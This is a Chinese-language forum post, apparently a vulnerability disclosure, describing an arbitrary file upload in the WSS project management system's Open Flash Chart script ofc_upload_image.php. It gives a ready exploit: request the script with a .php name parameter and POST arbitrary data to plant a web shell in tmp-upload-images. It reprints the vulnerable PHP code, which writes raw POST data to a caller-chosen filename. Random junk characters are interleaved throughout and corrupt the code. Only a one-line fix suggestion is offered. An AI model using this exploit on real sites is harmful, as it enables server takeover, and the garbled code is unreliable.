WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

2 X3 g7 ?6 w! U# ?4 @利用：
0 o# ^+ }% I( I# `& g0 L( V* {% ?/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
// In Open Flash Chart -> save_image debug mode, you
  S7 q3 z$ e* r4 |3 V" V8 Y/ H// will see the 'echo' text in a new window.
( d. t% n9 O. Y; l) M//
# K0 f( [8 n4 E2 C. [; I
, ?0 c! C& n! V; d, ~9 l; E/*

print_r( $_GET );
print_r( $_POST );
. l  T# v, n3 @9 z' w# `4 e" Gprint_r( $_FILES );

# Q7 m; f/ ^5 p1 F9 }. wprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
7 n( Z. j5 R- j1 c) ^9 v  d// default path for the image to be stored //
6 y) R& I+ P& u# \+ l4 V% [$default_path = '../tmp-upload-images/';
" e+ D0 N6 J* d/ L- w9 x% ^
- F& W% y: ^! h  Gif (!file_exists($default_path)) mkdir($default_path, 0777, true);
" V4 ^% {# ?; A# q; w
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
; v# f% @$ r; G' p. @: V' E
# L/ o$ j( M% X& J6 k1 Eecho 'Saving your image to: '. $destination;
// print_r( $_POST );
- a4 B/ _8 e8 B. I3 u// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
+ b4 D( d" G" c4 o
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
( I& z, _" P9 r# \% X- _: G/ O5 a( I& N//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
9 X( }8 _) \' _0 G% \0 xfclose($jfh);
/ p3 p" |8 u) Q- p
//
// LOOK:
5 g9 n- |0 w& n4 b7 K3 H//
exit();
//
// PHP5:
: w4 L, v7 H* t" x7 G, \( N8 ^//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

8 p" D/ F) F) Tif (!file_exists($default_path)) mkdir($default_path, 0777, true);

' m4 s' O1 b9 ?' h. ]// full path to the saved image including filename //
) @" l* z. b0 N; N% L& r  {: e$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
8 d2 L; V3 z* L9 b    echo "FILE UPLOAD FAILED";
3 e2 x4 d, K0 l9 q0 m}


?>




# T. {$ @7 H. ^6 d0 J; m
! c5 w( q- C, Z2 `& K
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


8 _! D- w# N- M  v( R9 G
/ Y  z+ e# x3 z+ u- b* W